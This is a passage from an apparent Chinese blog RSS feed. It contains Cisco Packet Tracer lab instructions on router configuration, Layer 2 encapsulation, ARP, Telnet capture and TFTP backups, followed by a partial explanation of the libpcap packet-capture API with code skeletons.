<u>步骤 2：在拓扑图下的表中记录要使用的地址。 <br />
</u>在此任务结束时，完成率应为 0%。 </div>
<div><strong><font color="#990000">任务 3：配置 Serial 和 FastEthernet 的地址。</font></strong> <br />
<u>步骤 1：配置路由器接口。</u><br />
要完成 Packet Tracer 中的练习，需要使用 Config（配置）选项卡。完成后，务必保存运行配置到路由器的 NVRAM。<br />
注意：必须打开接口的端口状态。<br />
注意：所有 DCE 串行连接的时钟速率均为 64000。<br />
<u>步骤 2：配置 PC 接口。</u> <br />
使用网络设计中确定的 IP 地址和默认网关来配置 PC1 和 PC2 的以太网接口。 <br />
在此任务结束时，完成率应为 100%。 </div>
<div><strong><font color="#990000">任务 4：验证配置。</font></strong> <br />
回答下列问题，验证网络能否正常运行。 <br />
能否从连接到 R1 的主机 ping 默认网关？ <br />
能否从连接到 R2 的主机 ping 默认网关？ <br />
能否从路由器 R1 ping R2 的 Serial 0/0/0 接口？ <br />
能否从路由器 R2 ping R1 的 Serial 0/0/0 接口？ <br />
注意：要想从路由器执行 ping，必须转到 CLI 选项卡。<br />
在此任务结束时，完成率应为 100%。 </div>
<div>&nbsp;</div>
<div><strong><font color="#009900">实例5、研究第 2 层帧头</font></strong></div>
<div>
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>42KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120181050.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div><font color="#009900"><strong>拓扑图如下：</strong></font></div>
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081120181135.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
<div>学习目标<br />
研究网络 <br />
运行模拟 <br />
简介：<br />
当 IP 数据包通过网间时，可封装在许多不同的第 2
层帧中。Packet Tracer 支持以太网、Cisco 的私有 HDLC、基于 PPP 的 IETF 标准以及第 2
层的帧中继。当数据包在路由器之间传送时，第 2 层帧将会解封，而数据包将封装在出站接口的第 2 层帧中。本练习将跟踪网间的 IP
数据包，研究不同的第 2 层封装。 </div>
<div><strong><font color="#990000">任务 1：研究网络</font></strong><br />
<u>步骤 1. 研究路由器之间的链路</u> </div>
<div>PC1 通过四个路由器连接到 PC2。这些路由器之间的三条链路各自使用不同的第 2 层封装。Cisco1 与 Cisco2
之间的链路使用 Cisco 的私有 HDLC；Cisco2 与 Brand X 之间的链路使用基于 PPP 的 IETF 标准，因为
Brand X 不是 Cisco 路由器；Brand X 与 Cisco3
之间的链路使用帧中继通过服务提供商网络，以降低成本（与使用专用链路相比）。 <br />
<u>步骤 2. 在实时模式中验证连通性</u></div>
<div>从 PC1 的 Command Prompt（命令提示符） ping PC2 的 IP 地址。使用命令 ping 192.168.5.2。如果 ping 超时，请重复该命令直至其成功。可能需要尝试多次才能覆盖网络。</div>
<div><font color="#990000"><strong>任务 2：运行模拟</strong></font> <br />
<u>步骤 1. 开始模拟</u></div>
<div>进入模拟模式。PC1 的 PDU 是发往 PC2 的 ICMP 回应请求。单击两次 Capture/Forward（捕获/转发）按钮直到 PDU 到达路由器 Cisco1。 <br />
<u>步骤 2. 研究第 2 层封装</u></div>
<div>单击路由器 Cisco1 上的 PDU。将会打开 PDU Information（PDU 信息）窗口。单击 Inbound PDU
Details（入站 PDU 详细数据）选项卡。入站第 2 层封装是以太网 II，因为帧来自 LAN。单击 Outbound PDU
Details（出站 PDU 详细数据）选项卡。出站第 2 层封装是 HDLC，因为帧要发送到路由器 Cisco2。</div>
<div>再次单击 Capture/Forward（捕获/转发）按钮。重复此过程，因为 PDU 将沿着通往 PC2 的路径到达每个路由器。要注意第 2 层封装在每一跳的变化。另请注意，已封装的 IP 数据包不会改变。</div>
<div>&nbsp;</div>
<div><font color="#009900"><strong>实例6、地址解析协议 (ARP)</strong></font></div>
<div>
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>50KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120181436.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div><strong><font color="#009900">拓扑图如下：</font></strong></div>
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081120181524.jpg" />500)this.width=500;" border=0&gt;</div>
<div align="left">地址表<br />
本练习不包括地址表。<br />
学习目标<br />
使用 Packet Tracer 的 arp 命令 <br />
使用 Packet Tracer 检查 ARP 交换 <br />
简介：<br />
TCP/IP
使用地址解析协议 (ARP) 将第 3 层 IP 地址映射到第 2 层 MAC 地址。当帧进入网络时，必定有目的 MAC
地址。为了动态发现目的设备的 MAC 地址，系统将在 LAN 上广播 ARP 请求。拥有该目的 IP 地址的设备将会发出响应，而对应的 MAC
地址将记录到 ARP 缓存中。LAN 上的每台设备都有自己的 ARP 缓存，或者利用 RAM 中的一小块区域来保存 ARP 结果。 ARP
缓存定时器将会删除在指定时间段内未使用的 ARP 条目。具体时间因设备而异。例如，有些 Windows 操作系统存储 ARP 缓存条目的时间为
2 分钟，但如果该条目在这段时间内被再次使用，其 ARP 定时器将延长至 10 分钟。ARP
是性能折衷的极佳示例。如果没有缓存，每当帧进入网络时，ARP 都必须不断请求地址转换。这样会延长通信的延时，可能会造成 LAN
拥塞。反之，无限制的保存时间可能导致离开网络的设备出错或更改第 3 层地址。网络工程师必须了解 ARP
的工作原理，但可能不会经常与协议交互。ARP 是一种使网络设备可以通过 TCP/IP 协议进行通信的协议。如果没有 ARP，就没有建立数据报第
2 层目的地址的有效方法。但 ARP 也是潜在的安全风险。例如，ARP 欺骗或 ARP 中毒就是攻击者用来将错误的 MAC
地址关联放入网络的技术。攻击者伪造设备的 MAC 地址，致使帧发送到错误的目的地。手动配置静态 ARP 关联是预防 ARP
欺骗的方法之一。您也可以在 Cisco 设备上配置授权的 MAC 地址列表，只允许认可的设备接入网络。</div>
<div align="left"><strong><font color="#009900">任务 1：使用 Packet Tracer 的 arp 命令</font></strong><br />
<u>步骤 1. 访问命令提示符窗口。</u> 单击 PC 1A 的 Desktop（桌面）中的 Command Prompt（命令提示符）按钮。arp 命令只显示 Packet Tracer 中可用的选项。 <br />
<u>步骤 2. 使用 ping 命令在 ARP 缓存中动态添加条目。<br />
</u>ping 命令可用于测试网络连通性。通过访问其它设备，ARP<br />
关联会被动态添加到 ARP 缓存中。在 PC 1A 上 ping 地址 255.255.255.255，并发出 arp -a 命令查看获取的 MAC 地址。 <br />
在此任务结束时，完成率应为 100%。 </div>
<div align="left"><font color="#009900"><strong>任务 2：使用 Packet Tracer 检查 ARP 交换<br />
</strong></font><u>步骤 1. 配置 Packet Tracer 捕获数据包。</u><br />
进入模拟模式。确认 Event List Filters（事件列表过滤器）只显示 ARP 和 ICMP 事件。 <br />
<u>步骤 2. 准备 Pod 主机计算机以执行 ARP 捕获。</u><br />
在 PC 1A 上使用 Packet Tracer 命令 arp -d。 然后 Ping 地址 255.255.255.255。<br />
<u>步骤 3. 捕获并评估 ARP 通信。<br />
</u>在发出 ping 命令之后，单击 Auto Capture/Play（自动捕获/播放）捕获数据包。当 Buffer Full（缓冲区已满）窗口打开时，单击 View Previous Events（查看以前的事件）按钮。 <br />
在此任务结束时，完成率应为 100%。 </div>
<div align="left">&nbsp;</div>
<div align="left"><font color="#009900"><strong>实例7、中间设备用作终端设备</strong></font></div>
<div align="left">
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>52KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120181949.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div align="left"><strong><font color="#009900">拓扑图如下：</font></strong></div>
<div align="left">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081120182047.jpg" />500)this.width=500;" border=0&gt;</div>
</div>
<div align="left">地址表<br />
本练习不包括地址表。<br />
学习目标<br />
捕获 Telnet 会话的建立过程 <br />
研究 PC 上 Telnet 数据包的交换 <br />
简介：<br />
这个 Packet Tracer 练习等同于&#8220;实验 9.8.3：中间设备用作终端设备&#8221;。鉴于 Packet Tracer 的局限性以及交换的数据量，本练习限于捕获从 PC 到交换机的 Telnet 连接。</div>
<div align="left"><font color="#009900"><strong>任务 1：初始化所有网络表<br />
</strong></font><u>Step 1.完成生成树协议。</u> <br />
在实时与模拟模式之间切换 4 次，完成生成树协议。所有链路指示灯应变为绿色。将 PT 保留在实时模式中。<br />
<u>步骤 2. Ping 交换机。</u></div>
<div align="left">访问 PC 1A，从 Desktop（桌面）打开 Command Prompt（命令提示符），输入命令 ping 172.16.254.1。这将更新 PC 及交换机的 ARP 信息。 </div>
<div align="left"><font color="#009900"><strong>任务 2：捕获 Telnet 会话的建立过程<br />
</strong></font><u>步骤 1. 进入模拟模式。<br />
</u>切换到模拟模式。 <br />
<u>步骤 2：设置事件列表过滤器。</u><br />
我们只需要捕获 Telnet 事件。在 Event List Filters（事件列表过滤器）区域，确认只显示 Telnet 事件。 <br />
<u>步骤 3. 从 PC 1A Telnet 连接到交换机。</u><br />
在 PC 1A 的 Command Prompt（命令提示符）中，输入命令 telnet 172.16.254.1。 当 Trying Telnet（正在尝试 Telnet）显示时，继续下一步。 <br />
<u>步骤 4. 运行模拟。</u><br />
单
击 Auto Capture/Play（自动捕获/播放）按钮。恢复 PC 1A 窗口。当提示输入口令时，输入 cisco 并按 Enter
键。最小化 PC 1A 窗口。当 Buffer Full（缓冲区已满）窗口出现时，单击 View Previous
Events（查看以前的事件）按钮。</div>
<div align="left">根据提示输入 ccna1 作为用户名，输入 cisco 作为口令。 <br />
在此任务结束时，完成率应为 100%。 </div>
<div align="left"><font color="#009900"><strong>任务 3：研究 PC 1A 上的 Telnet 数据包交换<br />
</strong></font><u>步骤 1. 研究封装的 Telnet 数据。<br />
</u>要
模拟 Wireshark 的运行，请研究数据包 At Device（在设备） 1A。在 Inbound PDU Details（入站 PDU
详细数据）和 Outbound PDU Details（出站 PDU 详细数据）中检查封装的 Telnet 数据。 <br />
<u>步骤 2. 考虑 Telnet 的运行。</u><br />
恢复 PC 1A 窗口。将输出与封装的 Telnet 数据进行比较。封装的 Telnet 数据中是否包含口令？<br />
在此任务结束时，完成率应为 100%。</div>
<div align="left">&nbsp;</div>
<div align="left"><strong><font color="#009900">实例8、管理设备配置</font></strong></div>
<div align="left">用户注意： 本练习是实验 11.5.2 的变异，而不是上述实验的附属。本实验中提供了如何完成实验的说明。 </div>
<div align="left">
<table style="border-collapse: collapse;" align="center" border="1" bordercolor="#dddddd" cellpadding="0" cellspacing="0" width="360">
    <tbody>
        <tr height="60">
            <td align="center" width="60"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="" src="http://control.cublog.cn/fileicon/rar.gif" border="0" /></td>
            <td>
            <table style="border-collapse: collapse;" border="0" cellpadding="0" cellspacing="0" width="100%">
                <tbody>
                    <tr height="20">
                        <td align="center" width="40">文件:</td>
                        <td>pka.rar</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">大小:</td>
                        <td>41KB</td>
                    </tr>
                    <tr height="20">
                        <td align="center" width="40">下载:</td>
                        <td><a href="http://blogimg.chinaunix.net/blog/upfile2/081120182836.rar">下载</a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div align="left"><font color="#009900"><strong>拓扑图如下：</strong></font></div>
<div align="left">
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081120183016.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
<br />
地址表</div>
<div align="center"><img title="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" alt="Packet Tracer 5.0软件使用教程深入详解  - 加菲猫 - 网络技术知识" src="http://blogimg.chinaunix.net/blog/upfile2/081120182709.jpg" width="500" />500)this.width=500;" border=0&gt;</div>
<div align="left">学习目标<br />
执行基本的路由器配置 <br />
备份路由器配置文件 <br />
从 TFTP 服务器将备份配置文件重新加载到路由器的 RAM 中 <br />
保存新的运行配置到 NVRAM <br />
简介：<br />
本实验将在 Cisco 路由器上配置常用设置，将配置保存到 TFTP 服务器，然后从 TFTP 服务器恢复配置。</div>
<div align="left">任务 1：配置 ROUTER1<br />
步骤 1：ROUTER1 的基本配置<br />
使用实验开头的表格配置路由
器主机名。配置 FastEthernet 接口及其说明。以 cisco 为口令，保护对控制台端口的访问。使用加密的使能口令 class
配置路由器。使用口令 cisco 限制对路由器的远程访问。配置标语，警告此处禁止未经授权的人员访问。在路由器上执行 show
running-config 命令验证路由器的配置。如果配置不正确，修正任何配置错误，然后重试。将配置保存到 NVRAM 中。 <br />
在此任务结束时，完成率应为 62%。 </div>
<div align="left">任务 2：配置 TFTP 服务器 <br />
步骤 1：配置 TFTP 服务器<br />
使用以下信息将第 3 层地址和默认网关应用到 TFTP 服务器：<br />
IP 地址：192.168.1.2 <br />
子网掩码：255.255.255.0 <br />
默认网关：192.168.1.1 <br />
步骤 2：验证连通性<br />
从 ROUTER1 Ping TFTP 服务器。如果 ping 失败，请检查 TFTP 和路由器配置以解决问题。<br />
在此任务结束时，完成率应为 100%。</div>
<div align="left">任务 3：备份启动配置到 TFTP 服务器<br />
步骤 1：复制配置<br />
在 ROUTER1 上使用 Copy Start TFTP 命令。输入 TFTP IP 地址作为远程主机的地址；保留所有其它问题为默认值（按 Enter）<br />
在此任务结束时，完成率应为 100%。 </div>
<div align="left">任务 4：验证配置传输到 TFTP 服务器<br />
步骤 1：验证 TFTP 传输<br />
先单击 TFTP 服务器。接着单击 Config（配置）选项卡。然后单击 TFTP 选项卡。确认列出了 ROUTER1-config 文件（应位于列表底部）<br />
在此任务结束时，完成率应为 100%。&nbsp; <br />
<br />
<br />
摘自：http://blog.163.com/qiaopengzhe/<br />
</div>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/290749.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-08-12 09:39 <a href="http://www.blogjava.net/shiliqiang/articles/290749.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一个Tcp网络服务框架例子</title><link>http://www.blogjava.net/shiliqiang/articles/288644.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Mon, 27 Jul 2009 14:09:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/288644.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/288644.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/288644.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/288644.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/288644.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 用Windows的IOCP、Linux的epoll、FreeBSD的kqueue写了一个支持高并发、多CPU、跨平台的TCP网络服务框架。测试下载netfrm.v2.rar，解压缩得到netfrm.v2目录，里面有netfrm.v2.vcproj和src目录。测试代码在src/main.cpp。                                    ...&nbsp;&nbsp;<a href='http://www.blogjava.net/shiliqiang/articles/288644.html'>阅读全文</a><img src ="http://www.blogjava.net/shiliqiang/aggbug/288644.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-07-27 22:09 <a href="http://www.blogjava.net/shiliqiang/articles/288644.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>libpcap 程序框架</title><link>http://www.blogjava.net/shiliqiang/articles/286154.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Thu, 09 Jul 2009 14:01:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/286154.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/286154.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/286154.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/286154.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/286154.html</trackback:ping><description><![CDATA[首先说明一下包捕获机制：<br />
&nbsp;
<p><a name="N10044"><span class="atitle"><font size="4">包捕获机制</font></span></a></p>
<p>从广义的角度上看，一个包捕获机制包含三个主要部分：最底层是针对特定操作系统的包捕获机制，最高层是针对用户程序的接口，第三部分是包过滤机制。</p>
<p>不同的操作系统实现的底层包捕获机制可能是不一样的，但从形式上看大同小异。数据包常规的传输路径依次为网卡、设备驱动层、数据链路层、IP 层、传输层、最后到达应用程序。而包捕获机制是在数据链路层增加一个旁路处理，对发送和接收到的数据包做过滤/缓冲等相关处理，最后直接传递到应用程序。值得注意的是，包捕获机制并不影响操作系统对数据包的网络栈处理。对用户程序而言，包捕获机制提供了一个统一的接口，使用户程序只需要简单的调用若干函数就能获得所期望的数据包。这样一来，针对特定操作系统的捕获机制对用户透明，使用户程序有比较好的可移植性。包过滤机制是对所捕获到的数据包根据用户的要求进行筛选，最终只把满足过滤条件的数据包传递给用户程序。<br />
<br />
libpcap 应用程序的框架：<br />
</p>
<p>Libpcap 提供了系统独立的用户级别网络数据包捕获接口，并充分考虑到应用程序的可移植性。Libpcap 可以在绝大多数类 unix 平台下工作，参考资料 A 中是对基于 libpcap 的网络应用程序的一个详细列表。在 windows 平台下，一个与libpcap 很类似的函数包 winpcap 提供捕获功能，其官方网站是<a href="http://winpcap.polito.it/"><font color="#5c81a7"><u>http://winpcap.polito.it/</u></font></a>。</p>
<p>Libpcap 软件包可从 <a href="http://www.tcpdump.org/"><font color="#996699"><u>http://www.tcpdump.org/</u></font></a> 下载，然后依此执行下列三条命令即可安装，但如果希望 libpcap 能在 linux 上正常工作，则必须使内核支持"packet"协议，也即在编译内核时打开配置选项 CONFIG_PACKET(选项缺省为打开)。</p>
<p><br />
<br />
&nbsp;</p>
<p>libpcap 源代码由 20 多个 C 文件构成，但在 Linux 系统下并不是所有文件都用到。可以通过查看命令 make 的输出了解实际所用的文件。本文所针对的libpcap 版本号为 0.8.3，网络类型为常规以太网。Libpcap 应用程序从形式上看很简单，下面是一个简单的程序框架：</p>
<p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">char * device; /* 用来捕获数据包的网络接口的名称 */
            pcap_t * p; /* 捕获数据包句柄，最重要的数据结构 */
            struct bpf_program fcode; /* BPF 过滤代码结构 */
            /* 第一步：查找可以捕获数据包的设备 */
            device = pcap_lookupdev(errbuf)；
            /* 第二步：创建捕获句柄，准备进行捕获 */
            p = pcap_open_live(device, 8000, 1, 500, errbuf)；
            /* 第三步：如果用户设置了过滤条件，则编译和安装过滤代码 */
            pcap_compile(p, &amp;fcode, filter_string, 0, netmask)；
            pcap_setfilter(p, &amp;fcode)；
            /* 第四步：进入（死）循环，反复捕获数据包 */
            for( ; ; )
            {
            while((ptr = (char *)(pcap_next(p, &amp;hdr))) == NULL);
            /* 第五步：对捕获的数据进行类型转换，转化成以太数据包类型 */
            eth = (struct libnet_ethernet_hdr *)ptr;
            /* 第六步：对以太头部进行分析，判断所包含的数据包类型，做进一步的处理 */
            if(eth-&gt;ether_type == ntohs(ETHERTYPE_IP))
            &#8230;&#8230;&#8230;&#8230;
            if(eth-&gt;ether_type == ntohs(ETHERTYPE_ARP))
            &#8230;&#8230;&#8230;&#8230;
            }
            /* 最后一步：关闭捕获句柄,一个简单技巧是在程序初始化时增加信号处理函数，
            以便在程序退出前执行本条代码 */
            pcap_close(p)；
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
</p>
<br />
<br />
<p><a name="N1006F"><span class="atitle"><font size="4">检查网络设备</font></span></a></p>
<p>libpcap 程序的第一步通常是在系统中找到合适的网络接口设备。网络接口在Linux 网络体系中是一个很重要的概念，它是对具体网络硬件设备的一个抽象，在它的下面是具体的网卡驱动程序，而其上则是网络协议层。Linux 中最常见的接口设备名 eth0 和 lo。Lo 称为回路设备，是一种逻辑意义上的设备,其主要目的是为了调试网络程序之间的通讯功能。eth0 对应了实际的物理网卡，在真实网络环境下，数据包的发送和接收都要通过 eht0。如果计算机有多个网卡，则还可以有更多的网络接口，如 eth1,eth2 等等。调用命令 ifconfig 可以列出当前所有活跃的接口及相关信息，注意对 eth0 的描述中既有物理网卡的 MAC 地址，也有网络协议的 IP 地址。查看文件 /proc/net/dev 也可获得接口信息。</p>
<p>Libpcap 中检查网络设备中主要使用到的函数关系如下图：</p>
<br />
<img height="495" alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-libpcap/images/image002.gif" width="382" border="0" /> <br />
<p>libpcap 调用 pcap_lookupdev() 函数获得可用网络接口的设备名。首先利用函数 getifaddrs() 获得所有网络接口的地址，以及对应的网络掩码、广播地址、目标地址等相关信息，再利用 add_addr_to_iflist()、add_or_find_if()、get_instance() 把网络接口的信息增加到结构链表 pcap_if 中，最后从链表中提取第一个接口作为捕获设备。其中 get_instanced() 的功能是从设备名开始,找第一个是数字的字符,做为接口的实例号。网络接口的设备号越小，则排在链表的越前面，因此，通常函数最后返回的设备名为 eth0。虽然 libpcap 可以工作在回路接口上，但显然 libpcap 开发者认为捕获本机进程之间的数据包没有多大意义。在检查网络设备操作中，主要用到的数据结构和代码如下：</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">	/* libpcap 自定义的接口信息链表 [pcap.h] */
            struct pcap_if
            {
            struct pcap_if *next;
            char *name; /* 接口设备名 */
            char *description; /* 接口描述 */
            /*接口的 IP 地址, 地址掩码, 广播地址,目的地址 */
            struct pcap_addr addresses;
            bpf_u_int32 flags;	/* 接口的参数 */
            };
            char * pcap_lookupdev(register char * errbuf)
            {
            pcap_if_t *alldevs;
            &#8230;&#8230;
            pcap_findalldevs(&amp;alldevs, errbuf)；
            &#8230;&#8230;
            strlcpy(device, alldevs-&gt;name, sizeof(device));
            }
            </font></code></pre>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<table cellspacing="0" cellpadding="0" width="100%" border="0">
    <tbody>
        <tr>
            <td><font face="Lucida Console"><img height="1" alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%" /><br />
            <img height="6" alt="" src="http://www.ibm.com/i/c.gif" width="8" border="0" /></font></td>
        </tr>
    </tbody>
</table>
<table class="no-print" cellspacing="0" cellpadding="0" align="right">
    <tbody>
        <tr align="right">
            <td><font face="Lucida Console"><img height="4" alt="" src="http://www.ibm.com/i/c.gif" width="100%" /><br />
            </font>
            <table cellspacing="0" cellpadding="0" border="0">
                <tbody>
                    <tr>
                        <td valign="middle"><font face="Lucida Console"><img height="16" alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width="16" border="0" /><br />
                        </font></td>
                        <td valign="top" align="right"><a class="fbox" href="http://www-128.ibm.com/developerworks/cn/linux/l-libpcap/#main"><strong><font color="#996699"><u>回页首</u></font></strong></a></td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
<br />
<br />
<p><a name="N10093"><span class="atitle"><font size="4">打开网络设备</font></span></a></p>
<p>当设备找到后，下一步工作就是打开设备以准备捕获数据包。Libpcap 的包捕获是建立在具体的操作系统所提供的捕获机制上，而 Linux 系统随着版本的不同，所支持的捕获机制也有所不同。</p>
<p>2.0 及以前的内核版本使用一个特殊的 socket 类型 SOCK_PACKET，调用形式是 socket(PF_INET, SOCK_PACKET, int protocol)，但 Linux 内核开发者明确指出这种方式已过时。Linux 在 2.2 及以后的版本中提供了一种新的协议簇 PF_PACKET 来实现捕获机制。PF_PACKET 的调用形式为 socket(PF_PACKET, int socket_type, int protocol)，其中 socket 类型可以是 SOCK_RAW 和 SOCK_DGRAM。SOCK_RAW 类型使得数据包从数据链路层取得后，不做任何修改直接传递给用户程序，而 SOCK_DRRAM 则要对数据包进行加工(cooked)，把数据包的数据链路层头部去掉，而使用一个通用结构 sockaddr_ll 来保存链路信息。</p>
<p>使用 2.0 版本内核捕获数据包存在多个问题：首先，SOCK_PACKET 方式使用结构 sockaddr_pkt 来保存数据链路层信息，但该结构缺乏包类型信息；其次，如果参数 MSG_TRUNC 传递给读包函数 recvmsg()、recv()、recvfrom() 等，则函数返回的数据包长度是实际读到的包数据长度，而不是数据包真正的长度。Libpcap 的开发者在源代码中明确建议不使用 2.0 版本进行捕获。</p>
<p>相对 2.0 版本 SOCK_PACKET 方式，2.2 版本的 PF_PACKET 方式则不存在上述两个问题。在实际应用中，用户程序显然希望直接得到"原始"的数据包，因此使用 SOCK_RAW 类型最好。但在下面两种情况下，libpcap 不得不使用 SOCK_DGRAM 类型，从而也必须为数据包合成一个"伪"链路层头部（sockaddr_ll）。</p>
<ul>
    <li>某些类型的设备数据链路层头部不可用：例如 Linux 内核的 PPP 协议实现代码对 PPP 数据包头部的支持不可靠。
    <li>在捕获设备为"any"时：所有设备意味着 libpcap 对所有接口进行捕获，为了使包过滤机制能在所有类型的数据包上正常工作,要求所有的数据包有相同的数据链路头部。 </li>
</ul>
<p>打开网络设备的主函数是 pcap_open_live()[pcap-linux.c]，其任务就是通过给定的接口设备名，获得一个捕获句柄：结构 pcap_t。pcap_t 是大多数 libpcap 函数都要用到的参数，其中最重要的属性则是上面讨论到的三种 socket 方式中的某一种。首先我们看看 pcap_t 的具体构成。</p>
<table cellspacing="0" cellpadding="5" width="100%" bgcolor="#eeeeee" border="1">
    <tbody>
        <tr>
            <td>
            <pre><code class="section">
            <font face="Lucida Console">struct pcap [pcap-int.h]
            {
            int fd; /* 文件描述字，实际就是 socket */
            /* 在 socket 上，可以使用 select() 和 poll() 等 I/O 复用类型函数 */
            int selectable_fd;
            int snapshot; /* 用户期望的捕获数据包最大长度 */
            int linktype; /* 设备类型 */
            int tzoff;		/* 时区位置，实际上没有被使用 */
            int offset;	/* 边界对齐偏移量 */
            int break_loop; /* 强制从读数据包循环中跳出的标志 */
            struct pcap_sf sf; /* 数据包保存到文件的相关配置数据结构 */
            struct pcap_md md; /* 具体描述如下 */
            int bufsize; /* 读缓冲区的长度 */
            u_char buffer; /* 读缓冲区指针 */
            u_char *bp;
            int cc;
            u_char *pkt;
            /* 相关抽象操作的函数指针，最终指向特定操作系统的处理函数 */
            int	(*read_op)(pcap_t *, int cnt, pcap_handler, u_char *);
            int	(*setfilter_op)(pcap_t *, struct bpf_program *);
            int	(*set_datalink_op)(pcap_t *, int);
            int	(*getnonblock_op)(pcap_t *, char *);
            int	(*setnonblock_op)(pcap_t *, int, char *);
            int	(*stats_op)(pcap_t *, struct pcap_stat *);
            void (*close_op)(pcap_t *);
            /*如果 BPF 过滤代码不能在内核中执行,则将其保存并在用户空间执行 */
            struct bpf_program fcode;
            /* 函数调用出错信息缓冲区 */
            char errbuf[PCAP_ERRBUF_SIZE + 1];
            /* 当前设备支持的、可更改的数据链路类型的个数 */
            int dlt_count;
            /* 可更改的数据链路类型号链表，在 linux 下没有使用 */
            int *dlt_list;
